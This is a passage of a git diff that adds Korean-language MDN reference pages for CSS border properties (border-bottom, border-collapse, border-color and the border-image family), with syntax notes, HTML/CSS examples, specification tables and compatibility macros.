  • 아래 테두리 관련 CSS 속성: {{Cssxref("border")}}, {{Cssxref("border-bottom")}}, {{Cssxref("border-bottom-style")}}, and {{Cssxref("border-bottom-color")}}.
  • +
diff --git a/files/ko/web/css/border-bottom/index.html b/files/ko/web/css/border-bottom/index.html new file mode 100644 index 0000000000..fc203bb67b --- /dev/null +++ b/files/ko/web/css/border-bottom/index.html @@ -0,0 +1,109 @@ +--- +title: border-bottom +slug: Web/CSS/border-bottom +tags: + - CSS + - CSS Borders + - CSS Property + - Reference + - 테두리 +translation_of: Web/CSS/border-bottom +--- +
{{CSSRef}}
+ +

border-bottom CSS 단축 속성은 요소의 아래쪽 테두리를 설정합니다. {{cssxref("border-bottom-width")}}, {{cssxref("border-bottom-style")}}, {{cssxref("border-bottom-color")}}의 값을 지정합니다.

+ +
{{EmbedInteractiveExample("pages/css/border-bottom.html")}}
+ + + +

다른 단축 속성과 마찬가지로, border-bottom는 자신이 포함한 모든 값을 지정하며 사용자가 명시하지 않은 속성도 기본값으로 설정합니다. 즉, 아래 두 코드는 사실 동일합니다.

+ +
border-bottom-style: dotted;
+border-bottom: thick green;
+
+ +
border-bottom-style: dotted;
+border-bottom: none thick green;
+
+ +

따라서 border-bottom보다 먼저 지정한 {{cssxref("border-bottom-style")}}의 값은 무시됩니다. {{cssxref("border-bottom-style")}}의 기본값은 none이므로, border-style을 명시하지 않으면 테두리를 만들지 않습니다.

+ +

구문

+ +
border-bottom: 1px;
+border-bottom: 2px dotted;
+border-bottom: medium dashed green;
+
+ +

border-bottom은 한 개에서 세 개의 값을 사용해 지정할 수 있고, 순서는 상관하지 않습니다.

+ +

+ +
+
<br-width>
+
{{cssxref("border-bottom-width")}}.
+
<br-style>
+
{{cssxref("border-bottom-style")}}.
+
{{cssxref("<color>")}}
+
{{cssxref("border-bottom-color")}}.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +
<div>
+  아래쪽 테두리를 가진 요소입니다.
+</div>
+ +
div {
+  border-bottom: 4px dashed blue;
+  background-color: gold;
+  height: 100px;
+  width: 100px;
+  font-weight: bold;
+  text-align: center;
+}
+
+ +

{{EmbedLiveSample('예제')}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Backgrounds', '#border-bottom', 'border-bottom')}}{{Spec2('CSS3 Backgrounds')}}No direct changes, though the modification of values for the {{cssxref("border-bottom-color")}} do apply to it.
{{SpecName('CSS2.1', 'box.html#propdef-border-bottom', 'border-bottom')}}{{Spec2('CSS2.1')}}No significant changes.
{{SpecName('CSS1', '#border-bottom', 'border-bottom')}}{{Spec2('CSS1')}}Initial definition
+ +
{{cssinfo}}
+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.border-bottom")}}

diff --git a/files/ko/web/css/border-collapse/index.html b/files/ko/web/css/border-collapse/index.html new file mode 100644 index 0000000000..8f024cf916 --- /dev/null +++ b/files/ko/web/css/border-collapse/index.html @@ -0,0 +1,148 @@ +--- +title: border-collapse +slug: Web/CSS/border-collapse +tags: + - CSS + - CSS Borders + - CSS Property + - CSS Tables + - Reference +translation_of: Web/CSS/border-collapse +--- +
{{CSSRef}}
+ +

border-collapse CSS 속성은 표 테두리(border)가 분리(separated) 또는 상쇄(collapsed)될 지를 결정합니다. 분리 모델에서는, 인접한 셀은 각각 자신의 고유(distinct) 테두리가 있습니다. 상쇄 모델에서는, 인접한 표 셀은 테두리를 공유합니다.

+ +
{{EmbedInteractiveExample("pages/css/border-collapse.html")}}
+ + + +

분리(separated) 모델은 HTML 표 테두리 전통 모델입니다. 인접 셀은 각각 자신의 고유 테두리가 있습니다. 그 사이의 간격은 {{ Cssxref("border-spacing") }} 속성에 의해 주어집니다.

+ +

상쇄(collapsed) 테두리 모델에서는, 인접 표 셀은 테두리를 공유합니다. 그 모델에서는, inset의 {{ Cssxref("border-style") }} 값은 groove처럼, outsetridge처럼 행동합니다.

+ +

구문

+ +
/* Keyword values */
+border-collapse: collapse;
+border-collapse: separate;
+
+/* Global values */
+border-collapse: inherit;
+border-collapse: initial;
+border-collapse: unset;
+ +

+ +
+
separate
+
분리된 테두리 표 렌더링 모델의 사용을 요청하는 키워드입니다. 기본값입니다.
+
collapse
+
상쇄된 테두리 표 렌더링 모델의 사용을 요청하는 키워드입니다.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

브라우저 엔진의 다색 표

+ +

HTML

+ +
<table class="separate">
+    <caption><code>border-collapse: separate</code></caption>
+    <tbody>
+        <tr><th>Browser</th> <th>Layout Engine</th>
+        </tr>
+        <tr><td class="fx">Firefox</td> <td class="gk">Gecko</td>
+        </tr>
+        <tr><td class="ie">Internet Explorer</td> <td class="tr">Trident</td>
+        </tr>
+        <tr><td class="sa">Safari</td> <td class="wk">Webkit</td>
+        </tr>
+        <tr><td class="ch">Chrome</td> <td class="bk">Blink</td>
+        </tr>
+        <tr><td class="op">Opera</td> <td class="bk">Blink</td>
+        </tr>
+    </tbody>
+</table>
+<table class="collapse">
+    <caption><code>border-collapse: collapse</code></caption>
+    <tbody>
+        <tr><th>Browser</th> <th>Layout Engine</th>
+        </tr>
+        <tr><td class="fx">Firefox</td> <td class="gk">Gecko</td>
+        </tr>
+        <tr><td class="ie">Internet Explorer</td> <td class="tr">Trident</td>
+        </tr>
+        <tr><td class="sa">Safari</td> <td class="wk">Webkit</td>
+        </tr>
+        <tr><td class="ch">Chrome</td> <td class="bk">Blink</td>
+        </tr>
+        <tr><td class="op">Opera</td> <td class="bk">Blink</td>
+        </tr>
+    </tbody>
+</table>
+ +

CSS

+ +
.collapse {
+    border-collapse: collapse;
+}
+.separate {
+    border-collapse: separate;
+}
+table {
+    display: inline-table;
+    margin: 1em;
+    border: dashed 6px;
+    border-width: 6px;
+}
+table th, table td {
+    border: solid 3px;
+}
+.fx { border-color: orange blue; }
+.gk { border-color: black red; }
+.ie { border-color: blue gold; }
+.tr { border-color: aqua; }
+.sa { border-color: silver blue; }
+.wk { border-color: gold blue; }
+.ch { border-color: red yellow green blue; }
+.bk { border-color: navy blue teal aqua; }
+.op { border-color: red; }
+ +

결과

+ +

{{ EmbedLiveSample('A_colorful_table_of_browser_engines', 400, 300) }}

+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태설명
{{ SpecName('CSS2.1', 'tables.html#borders', 'border-collapse') }}{{ Spec2('CSS2.1') }}초기 정의
+ +

브라우저 호환성

+ +

{{Compat("css.properties.border-collapse")}}

+ +

같이 보기

+ +
    +
  • {{cssxref("border-spacing")}}, {{cssxref("border-style")}}
  • +
  • The border-collapse property alters the appearance of the {{htmlelement("table")}} HTML element.
  • +
diff --git a/files/ko/web/css/border-color/index.html b/files/ko/web/css/border-color/index.html new file mode 100644 index 0000000000..4d5ab51a4c --- /dev/null +++ b/files/ko/web/css/border-color/index.html @@ -0,0 +1,184 @@ +--- +title: border-color +slug: Web/CSS/border-color +tags: + - CSS + - CSS Borders + - CSS Property + - Reference +translation_of: Web/CSS/border-color +--- +
{{CSSRef}}
+ +

border-color CSS 단축 속성은 모든 면의 테두리 색상을 설정합니다.

+ +
{{EmbedInteractiveExample("pages/css/border-color.html")}}
+ + + +

각 면 테두리의 색상은 {{cssxref("border-top-color")}}, {{cssxref("border-right-color")}}, {{cssxref("border-bottom-color")}}, {{cssxref("border-left-color")}}를 사용해 정할 수 있습니다. 아니면 쓰기 방향에 따라 달라지는 속성인 {{cssxref("border-block-start-color")}}, {{cssxref("border-block-end-color")}}, {{cssxref("border-inline-start-color")}}, {{cssxref("border-inline-end-color")}}을 사용할 수도 있습니다.

+ +

테두리 색상에 대해 더 알아보려면 CSS로 HTML 요소에 색 입히기 문서를 참고하세요.

+ +

구문

+ +
/* <color> 값 */
+border-color: red;
+
+/* 세로방향 | 가로방향 */
+border-color: red #f015ca;
+
+/* 위 | 가로방향 | 아래 */
+border-color: red rgb(240,30,50,.7) green;
+
+/* 위 | 오른쪽 | 아래 | 왼쪽 */
+border-color: red yellow green blue;
+
+/* 전역 값 */
+border-color: inherit;
+border-color: initial;
+border-color: unset;
+
+ +

border-color 속성은 한 개에서 네 개의 값을 사용해서 지정할 수 있습니다.

+ +
    +
  • 한 개의 값을 사용하면 모든 네 면에 동일한 색상을 적용합니다.
  • +
  • 두 개의 값을 사용하면 첫 번째 값이 위아래, 두 번째 값이 좌우의 색상을 맡습니다.
  • +
  • 세 개의 값을 사용하면 첫 번째 값이 위, 두 번째 값이 좌우, 세 번째 값이 아래의 색상을 맡습니다.
  • +
  • 네 개의 값을 사용하면 각각 순서대로 위, 오른쪽, 아래, 왼쪽(시계방향) 순서로 색상을 적용합니다.
  • +
+ +

+ +
+
{{cssxref("<color>")}}
+
테두리의 색상.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

border-color의 모든 사용법

+ +

HTML

+ +
<div id="justone">
+  <p><code>border-color: red;</code>는 아래와 같습니다.</p>
+  <ul><li><code>border-top-color: red;</code></li>
+    <li><code>border-right-color: red;</code></li>
+    <li><code>border-bottom-color: red;</code></li>
+    <li><code>border-left-color: red;</code></li>
+  </ul>
+</div>
+<div id="horzvert">
+  <p><code>border-color: gold red;</code>는 아래와 같습니다.</p>
+  <ul><li><code>border-top-color: gold;</code></li>
+    <li><code>border-right-color: red;</code></li>
+    <li><code>border-bottom-color: gold;</code></li>
+    <li><code>border-left-color: red;</code></li>
+  </ul>
+</div>
+<div id="topvertbott">
+  <p><code>border-color: red cyan gold;</code>는 아래와 같습니다.</p>
+  <ul><li><code>border-top-color: red;</code></li>
+    <li><code>border-right-color: cyan;</code></li>
+    <li><code>border-bottom-color: gold;</code></li>
+    <li><code>border-left-color: cyan;</code></li>
+  </ul>
+</div>
+<div id="trbl">
+  <p><code>border-color: red cyan black gold;</code>는 아래와 같습니다.</p>
+  <ul><li><code>border-top-color: red;</code></li>
+    <li><code>border-right-color: cyan;</code></li>
+    <li><code>border-bottom-color: black;</code></li>
+    <li><code>border-left-color: gold;</code></li>
+  </ul>
+</div>
+
+ +

CSS

+ +
#justone {
+  border-color: red;
+}
+
+#horzvert {
+  border-color: gold red;
+}
+
+#topvertbott {
+  border-color: red cyan gold;
+}
+
+#trbl {
+  border-color: red cyan black gold;
+}
+
+/* Set width and style for all divs */
+div {
+  border: solid 0.3em;
+  width: auto;
+  margin: 0.5em;
+  padding: 0.5em;
+}
+
+ul {
+  margin: 0;
+  list-style: none;
+}
+
+ +

결과

+ +

{{EmbedLiveSample('border-color의_모든_사용법', 600, 300)}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Backgrounds', '#border-color', 'border-color')}}{{Spec2('CSS3 Backgrounds')}}The transparent keyword has been removed as it is now a part of the {{cssxref("<color>")}} data type.
{{SpecName('CSS2.1', 'box.html#border-color-properties', 'border-color')}}{{Spec2('CSS2.1')}}The property is now a shorthand property.
{{SpecName('CSS1', '#border-color', 'border-color')}}{{Spec2('CSS1')}}Initial definition.
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.border-color")}}

+ +

같이 보기

+ +
    +
  • 테두리 색상 관련 CSS 속성: {{Cssxref("border")}}, {{cssxref("border-top-color")}}, {{cssxref("border-right-color")}}, {{cssxref("border-bottom-color")}}, {{cssxref("border-left-color")}}
  • +
  • 다른 테두리 관련 CSS 속성: {{Cssxref("border-width")}}, {{Cssxref("border-style")}}
  • +
  • {{cssxref("<color>")}} 자료형
  • +
  • 다른 색상 관련 속성: {{cssxref("color")}}, {{cssxref("background-color")}}, {{cssxref("outline-color")}}, {{cssxref("text-decoration-color")}}, {{cssxref("text-emphasis-color")}}, {{cssxref("text-shadow")}}, {{cssxref("caret-color")}}, {{cssxref("column-rule-color")}}
  • +
  • CSS로 HTML 요소에 색 입히기
  • +
diff --git a/files/ko/web/css/border-image-outset/index.html b/files/ko/web/css/border-image-outset/index.html new file mode 100644 index 0000000000..ee670a5ba8 --- /dev/null +++ b/files/ko/web/css/border-image-outset/index.html @@ -0,0 +1,113 @@ +--- +title: border-image-outset +slug: Web/CSS/border-image-outset +tags: + - CSS + - CSS Borders + - CSS Property + - Reference +translation_of: Web/CSS/border-image-outset +--- +
{{CSSRef}}
+ +

border-image-outset CSS 속성은 요소의 테두리 상자와 테두리 이미지의 거리를 설정합니다.

+ +

border-image-outset으로 인해 요소 바깥에 그려지는 테두리로는 스크롤이 생기지 않으며 마우스 이벤트를 잡아낼 수도 없습니다.

+ +
{{EmbedInteractiveExample("pages/css/border-image-outset.html")}}
+ + + +

구문

+ +
/* <length> 값 */
+border-image-outset: 1rem;
+
+/* <number> 값 */
+border-image-outset: 1.5;
+
+/* 세로방향 | 가로방향 */
+border-image-outset: 1 1.2;
+
+/* 위 | 가로방향 | 아래 */
+border-image-outset: 30px 2 45px;
+
+/* 위 | 오른쪽 | 아래 | 왼쪽 */
+border-image-outset: 7px 12px 14px 5px;
+
+/* 전역 값 */
+border-image-outset: inherit;
+border-image-outset: initial;
+border-image-outset: unset;
+
+ +

border-image-outset 속성은 한 개, 두 개, 세 개, 혹은 네 개의 값으로 지정할 수 있습니다. 각 값은 {{cssxref("<length>")}}나 {{cssxref("<number>")}}입니다. 음수는 유효하지 않습니다.

+ +
    +
  • 한 개의 값은 모든 네 면의 거리를 설정합니다.
  • +
  • 두 개의 값을 지정하면 첫 번째는 위와 아래, 두 번째는 왼쪽과 오른쪽 거리를 설정합니다.
  • +
  • 세 개의 값을 지정하면 첫 번째는 , 두 번째는 왼쪽과 오른쪽, 세 번째 값은 아래 거리를 설정합니다.
  • +
  • 네 개의 값을 지정하면 각각 상, 우, 하, 좌 순서로 거리를 지정합니다. (시계방향)
  • +
+ +

+ +
+
{{cssxref("<length>")}}
+
테두리 거리의 크기로 고정값 사용.
+
{{cssxref("<number>")}}
+
테두리 거리의 크기로 {{cssxref("border-width")}}의 배수 사용.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

HTML

+ +
<div id="outset">밖으로 나간 테두리를 가지고 있어요!</div>
+
+ +

CSS

+ +
#outset {
+  width: 10rem;
+  background: #cef;
+  border: 1.4rem solid;
+  border-image: radial-gradient(#ff2, #55f) 40;
+  border-image-outset: 1.5;  /* = 1.5 * 1.4rem = 2.1rem */
+  margin: 2.1rem;
+}
+ +

결과

+ +

{{EmbedLiveSample("예제", "auto", 200)}}

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Backgrounds', '#the-border-image-outset', 'border-image-outset')}}{{Spec2('CSS3 Backgrounds')}}Initial definition
+ +
{{cssinfo}}
+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.border-image-outset")}}

diff --git a/files/ko/web/css/border-image-repeat/index.html b/files/ko/web/css/border-image-repeat/index.html new file mode 100644 index 0000000000..ddca0a7c73 --- /dev/null +++ b/files/ko/web/css/border-image-repeat/index.html @@ -0,0 +1,125 @@ +--- +title: border-image-repeat +slug: Web/CSS/border-image-repeat +tags: + - CSS + - CSS Borders + - CSS Property + - Reference +translation_of: Web/CSS/border-image-repeat +--- +
{{CSSRef}}
+ +

border-image-repeat CSS 속성은 원본 이미지의 모서리 영역을 요소의 테두리 이미지 크기에 맞춰 조절할 때 사용할 방법을 지정합니다.

+ +
{{EmbedInteractiveExample("pages/css/border-image-repeat.html")}}
+ + + +

구문

+ +
/* 키워드 값 */
+border-image-repeat: stretch;
+border-image-repeat: repeat;
+border-image-repeat: round;
+border-image-repeat: space;
+
+/* 세로방향 | 가로방향 */
+border-image-repeat: round stretch;
+
+/* 전역 값 */
+border-image-repeat: inherit;
+border-image-repeat: initial;
+border-image-repeat: unset;
+
+ +

border-image-repeat 속성은 한 개 또는 두 개의 값을 사용해 지정할 수 있습니다.

+ +
    +
  • 한 개의 값을 지정하면 모든 네 면이 같은 방식을 사용합니다.
  • +
  • 두 개의 값을 지정하면, 첫 번째 값은 위와 아래, 두 번째 값은 왼쪽과 오른쪽 면의 방식을 지정합니다.
  • +
+ +

+ +
+
stretch
+
원본 이미지의 모서리 영역을 늘리거나 줄여 간격을 채웁니다.
+
repeat
+
원본 이미지의 모서리 영역을 타일처럼 반복해 간격을 채웁니다. 크기가 맞지 않으면 마지막 이미지는 잘릴 수 있습니다.
+
round
+
원본 이미지의 모서리 영역을 타일처럼 반복해 간격을 채웁니다. 크기가 맞지 않으면 늘어나거나 줄어들 수 있습니다.
+
space
+
원본 이미지의 모서리 영역을 타일처럼 반복해 간격을 채웁니다. 크기가 맞지 않으면 각 타일에 균등하게 공백을 배치합니다.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

CSS

+ +
#bordered {
+  width: 12rem;
+  margin-bottom: 1rem;
+  padding: 1rem;
+  border: 40px solid;
+  border-image: url("https://mdn.mozillademos.org/files/4127/border.png") 27;
+  border-image-repeat: stretch;  /* 라이브 샘플에서 바꿀 수 있습니다 */
+}
+
+ + + +

{{EmbedLiveSample("예제", "auto", 200)}}

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Backgrounds', '#the-border-image-repeat', 'border-image-repeat')}}{{Spec2('CSS3 Backgrounds')}}Initial definition
+ +
{{cssinfo}}
+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.border-image-repeat")}}

diff --git a/files/ko/web/css/border-image-slice/index.html b/files/ko/web/css/border-image-slice/index.html new file mode 100644 index 0000000000..7dfb26229b --- /dev/null +++ b/files/ko/web/css/border-image-slice/index.html @@ -0,0 +1,107 @@ +--- +title: border-image-slice +slug: Web/CSS/border-image-slice +tags: + - CSS + - CSS Borders + - CSS Property + - Reference +translation_of: Web/CSS/border-image-slice +--- +
{{CSSRef}}
+ +

border-image-slice CSS 속성은 {{cssxref("border-image-source")}}로 설정한 이미지를 여러 개의 영역으로 나눕니다. 이렇게 나눠진 영역이 요소의 테두리 이미지를 이룹니다.

+ +
{{EmbedInteractiveExample("pages/css/border-image-slice.html")}}
+ + + +

이미지는 네 개의 꼭지점, 네 개의 모서리, 한 개의 중앙 총 9개의 영역으로 나눠집니다. 상하좌우 각각의 모서리에서 주어진 거리만큼 떨어진 네 개의 분할선이 영역의 크기를 결정합니다.

+ +

The nine regions defined by the border-image or border-image-slice properties

+ +

위의 도표로 구역이 어떻게 나뉘는지 확인할 수 있습니다.

+ + + +

{{cssxref("border-image-repeat")}}, {{cssxref("border-image-width")}}, {{cssxref("border-image-outset")}} 속성이 최종 테두리 이미지에서 각 영역의 사용 방법을 지정합니다.

+ +

구문

+ +
/* 모든 방향 */
+border-image-slice: 30%;
+
+/* 세로방향 | 가로방향 */
+border-image-slice: 10% 30%;
+
+/* 위 | 가로방향 | 아래 */
+border-image-slice: 30 30% 45;
+
+/* 위 | 오른쪽 | 아래 | 왼쪽 */
+border-image-slice: 7 12 14 5;
+
+/* `fill` 키워드 */
+border-image-slice: 10% fill 7 12;
+
+/* 전역 값 */
+border-image-slice: inherit;
+border-image-slice: initial;
+border-image-slice: unset;
+
+ +

border-image-slice 속성은 한 개에서 네 개의 <number> 또는 <percentage> 값을 사용해 지정할 수 있습니다. 각각의 숫자는 네 방향 분할선의 위치를 나타냅니다. 음수 값은 유효하지 않고, 최대 크기보다 큰 값은 100%로 잘립니다.

+ +
    +
  • 한 개의 값을 지정하면, 모든 분할선의 위치가 각각의 기준 모서리에서 동일한 거리만큼 떨어진 곳으로 설정됩니다.
  • +
  • 두 개의 값을 지정하면, 첫 번째 값은 위와 아래 분할선, 두 번째 값은 왼쪽과 오른쪽 분할선의 위치를 설정합니다.
  • +
  • 세 개의 값을 지정하면, 첫 번째 값은 , 두 번째 값은 왼쪽과 오른쪽, 세 번째 값은 아래 분할선의 위치를 설정합니다.
  • +
  • 네 개의 값을 지정하면 각각 상, 우, 하, 좌 분할선의 거리를 순서대로 지정합니다. (시계방향)
  • +
+ +

선택적으로 아무데나 fill 키워드를 추가할 수 있습니다.

+ +

+ +
+
{{cssxref("<number>")}}
+
모서리에서 분할선까지의 픽셀 거리(래스터 이미지), 또는 좌표 거리(벡터 이미지). 벡터 이미지에서 숫자는 원본 이미지가 아닌 요소의 크기에 상대적이므로 보통 백분율을 선호합니다.
+
{{cssxref("<percentage>")}}
+
모서리에서 분할선까지의 백분율 거리. 가로축은 원본 이미지의 너비에, 세로축은 이미지의 높이에 상대적입니다.
+
fill
+
중앙 영역을 보존하여 배경 이미지처럼 사용. 실제 {{cssxref("background")}} 속성보다 위에 그려집니다. 중앙 영역 이미지는 위와 왼쪽 모서리 영역의 크기에 맞도록 늘어납니다.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Backgrounds', '#the-border-image-slice', 'border-image-slice')}}{{Spec2('CSS3 Backgrounds')}}Initial defintion
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.border-image-slice")}}

diff --git a/files/ko/web/css/border-image-source/index.html b/files/ko/web/css/border-image-source/index.html new file mode 100644 index 0000000000..8d35053b26 --- /dev/null +++ b/files/ko/web/css/border-image-source/index.html @@ -0,0 +1,78 @@ +--- +title: border-image-source +slug: Web/CSS/border-image-source +tags: + - CSS + - CSS Borders + - CSS Property + - Reference +translation_of: Web/CSS/border-image-source +--- +
{{CSSRef}}
+ +

border-image-source CSS 속성은 요소의 테두리 이미지로 사용할 원본 이미지를 지정합니다.

+ +
{{EmbedInteractiveExample("pages/css/border-image-source.html")}}
+ + + +

{{cssxref("border-image-slice")}} 속성으로 나뉜 구역을 사용해 최종 테두리 이미지를 생성합니다.

+ +

구문

+ +
/* 키워드 값 */
+border-image-source: none;
+
+/* <image> 값 */
+border-image-source: url(image.jpg);
+border-image-source: linear-gradient(to top, red, yellow);
+
+/* 전역 값 */
+border-image-source: inherit;
+border-image-source: initial;
+border-image-source: unset;
+
+ +

+ +
+
none
+
테두리 이미지를 사용하지 않습니다. {{cssxref("border-style")}}이 대신 표시됩니다.
+
{{cssxref("<image>")}}
+
테두리에 사용할 이미지 참조입니다.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

{{cssxref("border-image")}}에서 확인할 수 있습니다.

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Backgrounds', '#the-border-image-source', 'border-image-source')}}{{Spec2('CSS3 Backgrounds')}}Initial definition
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.border-image-source")}}

diff --git a/files/ko/web/css/border-image-width/index.html b/files/ko/web/css/border-image-width/index.html new file mode 100644 index 0000000000..a99e3d4bb8 --- /dev/null +++ b/files/ko/web/css/border-image-width/index.html @@ -0,0 +1,128 @@ +--- +title: border-image-width +slug: Web/CSS/border-image-width +tags: + - CSS + - CSS Borders + - CSS Property + - Reference +translation_of: Web/CSS/border-image-width +--- +
{{CSSRef}}
+ +

border-image-width CSS 속성은 요소 테두리 이미지의 너비를 설정합니다.

+ +
{{EmbedInteractiveExample("pages/css/border-image-width.html")}}
+ + + +

속성의 값이 {{cssxref("border-width")}}보다 크다면 테두리 이미지는 안쪽 여백(과 콘텐츠) 영역을 침범하여 그려집니다.

+ +

구문

+ +
/* 키워드 값 */
+border-image-width: auto;
+
+/* <length> 값 */
+border-image-width: 1rem;
+
+/* <percentage> 값 */
+border-image-width: 25%;
+
+/* <number> 값 */
+border-image-width: 3;
+
+/* 세로방향 | 가로방향 */
+border-image-width: 2em 3em;
+
+/* 위 | 가로방향 | 아래 */
+border-image-width: 5% 15% 10%;
+
+/* 위 | 오른쪽 | 아래 | 왼쪽 */
+border-image-width: 5% 2em 10% auto;
+
+/* 전역 값 */
+border-image-width: inherit;
+border-image-width: initial;
+border-image-width: unset;
+
+ +

border-image-width 속성은 한 개, 두 개, 세 개, 혹은 네 개의 값으로 지정할 수 있습니다. 음수는 유효하지 않습니다.

+ +
    +
  • 한 개의 값은 모든 네 면의 테두리 너비를 설정합니다.
  • +
  • 두 개의 값을 지정하면 첫 번째는 위와 아래, 두 번째는 왼쪽과 오른쪽 테두리 너비를 설정합니다.
  • +
  • 세 개의 값을 지정하면 첫 번째는 , 두 번째는 왼쪽과 오른쪽, 세 번째 값은 아래 테두리 너비를 설정합니다.
  • +
  • 네 개의 값을 지정하면 각각 상, 우, 하, 좌 순서로 테두리 너비를 지정합니다. (시계방향)
  • +
+ +

+ +
+
<length-percentage>
+
{{cssxref("<length>")}} 또는 {{cssxref("<percentage>")}}로 지정한 테두리 너비. 백분율 값은 왼쪽과 오른쪽 테두리에 대해선 테두리 이미지 영역의 너비, 위쪽과 아래쪽에 대해선 테두리 이미지 영역의 높이를 사용해 계산합니다.
+
<number>
+
테두리 너비로 {{cssxref("border-width")}}의 배수 사용
+
auto
+
방향과 일치하는 {{cssxref("border-image-slice")}}가 가진 원래 너비 또는 높이 사용. 이미지가 원래 크기를 가지고 있지 않으면 방향과 일치하는 border-width 크기를 사용합니다.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

다음 예제는 아래의 가로 90픽셀, 세로 90픽셀 이미지를 사용해 테두리 이미지를 생성합니다.

+ +

+ +

원본 이미지의 각 원은 가로 30픽셀, 세로 30픽셀입니다.

+ +

HTML

+ +
<p>밤을 쉬이 봄이 무성할 릴케 듯합니다. 토끼, 써 이런 하나에 듯합니다. 이네들은 나는 패, 듯합니다.
+   나는 보고, 딴은 토끼, 이런 멀리 듯합니다. 청춘이 가을로 둘 버리었습니다. 걱정도 밤이 나는 애기
+   오는 언덕 경, 계십니다. 멀리 까닭이요, 나는 별빛이 듯합니다. 소녀들의 벌레는 걱정도 까닭이요,
+   북간도에 쓸쓸함과 오면 것은 어머님, 까닭입니다.</p>
+
+ +

CSS

+ +
p {
+  border: 20px solid;
+  border-image: url("https://mdn.mozillademos.org/files/10470/border.png") 30 round;
+  border-image-width: 16px;
+  padding: 40px;
+}
+ +

결과

+ +

{{EmbedLiveSample('예제', 200, 240)}}

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Backgrounds', '#the-border-image-width', 'border-image-width')}}{{Spec2('CSS3 Backgrounds')}}Initial definition
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.border-image-width")}}

diff --git a/files/ko/web/css/border-image/index.html b/files/ko/web/css/border-image/index.html new file mode 100644 index 0000000000..e907da9062 --- /dev/null +++ b/files/ko/web/css/border-image/index.html @@ -0,0 +1,168 @@ +--- +title: border-image +slug: Web/CSS/border-image +tags: + - CSS + - CSS Borders + - CSS Property + - Reference +translation_of: Web/CSS/border-image +--- +
{{CSSRef}}
+ +

border-image CSS 속성은 요소의 주위에 이미지를 그립니다. 일반 테두리를 대체합니다.

+ +
{{EmbedInteractiveExample("pages/css/border-image.html")}}
+ + + +

border-image는 {{cssxref("border-image-source")}}, {{cssxref("border-image-slice")}}, {{cssxref("border-image-width")}}, {{cssxref("border-image-outset")}}, {{cssxref("border-image-repeat")}}의 단축 속성입니다. 다른 단축 속성과 마찬가지로, 생략한 속성은 초기값으로 설정됩니다.

+ +
+

참고: 테두리 이미지를 불러오는데 실패할 경우에 대비해 {{cssxref("border-style")}} 속성을 설정해야 합니다. 사실 명세에 따르면 필수로 지정해야 하지만 모든 브라우저가 그렇게 구현하지는 않았습니다.

+
+ +

구문

+ +
/* 이미지 | 슬라이스 */
+border-image: linear-gradient(red, blue) 27;
+
+/* 이미지 | 슬라이스 | 반복 */
+border-image: url("/images/border.png") 27 space;
+
+/* 이미지 | 슬라이스 | 너비 */
+border-image: linear-gradient(red, blue) 27 / 35px;
+
+/* 이미지 | 슬라이스 | 너비 | 거리 | 반복 */
+border-image: url("/images/border.png") 27 23 / 50px 30px / 1rem round space;
+
+ +

border-image 속성은 아래 나열한 값 중 한 개에서 다섯 개 사이를 사용해 지정할 수 있습니다.

+ +
+

참고: 만약 {{cssxref("border-image-source")}}의 계산값none이거나 이미지를 그릴 수 없다면 {{cssxref("border-style")}}이 대신 보여집니다.

+
+ +

+ +
+
<'border-image-source'>
+
원본 이미지. {{cssxref("border-image-source")}}를 참고하세요.
+
<'border-image-slice'>
+
이미지를 구역별로 나눌 때 사용할 슬라이스 크기. 네 개 값까지 지정할 수 있습니다. {{cssxref("border-image-slice")}}를 참고하세요.
+
<'border-image-width'>
+
테두리 이미지 너비. 네 개 값까지 지정할 수 있습니다. {{cssxref("border-image-width")}}를 참고하세요.
+
<'border-image-outset'>
+
테두리 이미지와 요소 외곽의 거리. 네 개 값까지 지정할 수 있습니다. {{cssxref("border-image-outset")}}을 참고하세요.
+
<'border-image-repeat'>
+
원본 이미지의 모서리 구역을 테두리의 크기에 맞출 때의 조정 방법. 두 개 값까지 지정할 수 있습니다. {{cssxref("border-image-repeat")}}을 참고하세요.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

비트맵

+ +

이번 예제는 요소의 테두리에 마름모 패턴을 적용합니다. 테두리 이미지의 원본은 가로 81픽셀, 세로 81픽셀의 ".png" 파일로, 8개의 마름모가 사각형의 테두리를 이루고 있습니다.

+ +

an example borderimage

+ +

HTML

+ +
<div id="bitmap">This element is surrounded by a bitmap-based border image!</div>
+
+ +

CSS

+ +

마름모 하나의 크기에 맞추기 위해, 81을 3으로 나눈 27을 슬라이스 크기로 사용하여 원본 이미지를 모서리와 테두리 구역으로 나눕니다. 테두리 이미지의 중앙을 요소 테두리의 가운데로 맞추기 위해 거리도 각 너비의 절반으로 설정합니다. 마지막으로 반복 값에 round를 지정해 모서리가 끊기거나 잘리지 않도록 설정합니다.

+ +
#bitmap {
